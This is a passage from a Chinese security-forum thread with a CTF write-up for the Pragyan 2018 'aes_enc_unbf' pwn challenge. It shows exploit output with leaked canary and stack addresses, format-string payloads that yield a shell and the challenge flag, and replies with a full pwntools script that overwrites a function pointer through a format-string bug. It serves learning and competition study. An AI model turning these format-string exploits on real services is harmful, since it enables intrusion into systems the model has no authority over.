[*] canary: 0xd7f0b100
[*] stack: 0xffd88bb0
[*] \x98�%259u%7$hhn
[*] Switching to interactive mode
$ 


Your message is :- 
\x98\x05\x99\x05\x9a\x05\x9b\x05                                                                                                                                                                                                                                      4292380012                                                                                                                                                                                                                                                               0                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      4294967295                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               0AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

$ 

 The encrypted message for the given plaintext is :- 
0000 - c5 27 69 67 81 b4 d5 26-dc ad 96 83 82 d5 c2 9c   .'ig...&........
0010 - b7 62 f0 37 04 b8 7f 63-8a 21 2c 23 51 42 5d d2   .b.7...c.!,#QB].
0020 - c5 71 36 e2 ce 57 59 5c-1b 1b 3d 1e 23 69 65 a3   .q6..WY\..=.#ie.
0030 - 0e 20 af 87 59 5c 50 eb-c7 64 5e 9c 72 ef ed df   . ..Y\P..d^.r...
0040 - ef 96 47 d8 c6 7f 44 4d-e7 8e 38 ee f2 10 af 95   ..G...DM..8.....
0050 - 3e 72 7b 42 84 54 72 55-c5 27 9c c4 02 28 51 79   >r{B.TrU.'...(Qy
0060 - 68 f1 3b 20 70 11 ab f6-12 c9 49 2c 4d 6c 92 f4   h.; p.....I,Ml..
0070 - 5d 69 bd 24 79 8d ad ff-c2 eb ad 4d e0 65 1e f1   ]i.$y......M.e..

Decrypted text is:
\x98\x05\x99\x05\x9a\x05\x9b\x05%240u%7$hhn%256u%8$hhn%512u%9$hhn%768u%10$hhnAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

$ ls
core
iv.aes
key.aes
x.out
$ cat *.aes
IV{212&5^V!-!}IV
BEGIN-KEY{4x@$^%`w~d##*9}END-KEY

解密AES得到flag为pctf{th4t_m0m3n1-wh3n~f0rm41`SpiLls_0v3r}

参考链接

https://github.com/phieulang1993/ctf-writeups/blob/master/2018/pragyan/aes_enc_unbf/aes_enc_unbf.py


[公告]《使用DCI技术进行全栈调试》训练营,硬件调试器你的,《软件调试》作者张银奎亲自授课!

最后于 2018-3-7 08:49 被sakura零编辑 ,原因:
收藏
点赞0
打赏
分享
最新回复 (11)
雪    币: 11097
活跃值: 活跃值 (511)
能力值: ( LV13,RANK:693 )
在线值:
发帖
回帖
粉丝
大帅锅 活跃值 3 2018-3-7 09:32
2
0
昨天我也看了下ctf  time的exp发现确实可以拿到shell它取消了nx.    不过got表是可以写的吧!memset可以改
雪    币: 685
活跃值: 活跃值 (83)
能力值: ( LV9,RANK:240 )
在线值:
发帖
回帖
粉丝
sakura零 活跃值 4 2018-3-7 10:06
3
0
大帅锅 昨天我也看了下ctf time的exp发现确实可以拿到shell它取消了nx. 不过got表是可以写的吧!memset可以改
静态链接改got表没用吧?还是我对动态链接的理解不深刻?
雪    币: 685
活跃值: 活跃值 (83)
能力值: ( LV9,RANK:240 )
在线值:
发帖
回帖
粉丝
sakura零 活跃值 4 2018-3-7 10:07
4
0
你写出exp或者有调试思路可以站内信私我,我们讨论一下0.0
雪    币: 11097
活跃值: 活跃值 (511)
能力值: ( LV13,RANK:693 )
在线值:
发帖
回帖
粉丝
大帅锅 活跃值 3 2018-3-7 10:09
5
0
sakura零 静态链接改got表没用吧?还是我对动态链接的理解不深刻?
我改过的  把memset它改成printf
雪    币: 685
活跃值: 活跃值 (83)
能力值: ( LV9,RANK:240 )
在线值:
发帖
回帖
粉丝
sakura零 活跃值 4 2018-3-7 10:16
6
0
大帅锅 我改过的 把memset它改成printf
能发下exp,我调调么~谢谢0.0
雪    币: 685
活跃值: 活跃值 (83)
能力值: ( LV9,RANK:240 )
在线值:
发帖
回帖
粉丝
sakura零 活跃值 4 2018-3-7 10:18
7
0
大帅锅 我改过的 把memset它改成printf
我看程序员的自我修养那本书。。。以为got表这些都是动态链接用的...还是太naive..扶额
雪    币: 11097
活跃值: 活跃值 (511)
能力值: ( LV13,RANK:693 )
在线值:
发帖
回帖
粉丝
大帅锅 活跃值 3 2018-3-7 10:36
8
0
sakura零 我看程序员的自我修养那本书。。。以为got表这些都是动态链接用的...还是太naive..扶额
from pwn import *
import sys
context.arch = 'i386'
if len(sys.argv) < 2:
	p = process('./aes_enc')   
	context.log_level = 'debug'
	gdb.attach(p,'b *0x08048B18\n')
else:   
	p = remote(sys.argv[1], int(sys.argv[2]))#
def welcome():
	log.info('start send')
	#p.recvuntil('Enter message :-') 
	payload = '\x40\xF0\x22\x08\x42\xF0\x22\x08%.2057x%8$hn%.3407x%7$hn'#0822F040 -> 08111560
	p.writeline(payload)
	log.info('send over') 
def exp():       
	welcome() 
	p.interactive()
if __name__ == '__main__':
	exp()
改的memchr 为printf 成功执行了,但后面运行会报错
雪    币: 685
活跃值: 活跃值 (83)
能力值: ( LV9,RANK:240 )
在线值:
发帖
回帖
粉丝
sakura零 活跃值 4 2018-3-7 10:40
9
0
大帅锅 from&nbsp;pwn&nbsp;import&nbsp;* import&nbsp;sys context.arch&nbsp;=&nbsp; ...
改确实是应该能改的,你能不能跟一下看看当改完后,调用mem会不会执行到printf?0.0
雪    币: 11097
活跃值: 活跃值 (511)
能力值: ( LV13,RANK:693 )
在线值:
发帖
回帖
粉丝
大帅锅 活跃值 3 2018-3-7 10:59
10
0
你运行一下就知道了
最后于 2018-3-7 10:59 被大帅锅编辑 ,原因:
雪    币: 685
活跃值: 活跃值 (83)
能力值: ( LV9,RANK:240 )
在线值:
发帖
回帖
粉丝
sakura零 活跃值 4 2018-3-7 11:07
11
0
大帅锅 你运行一下就知道了
嗯...下课...
雪    币: 3455
活跃值: 活跃值 (261)
能力值: ( LV6,RANK:80 )
在线值:
发帖
回帖
粉丝
smartdon 活跃值 1 2018-3-29 10:01
12
0
偷学
游客
登录 | 注册 方可回帖
返回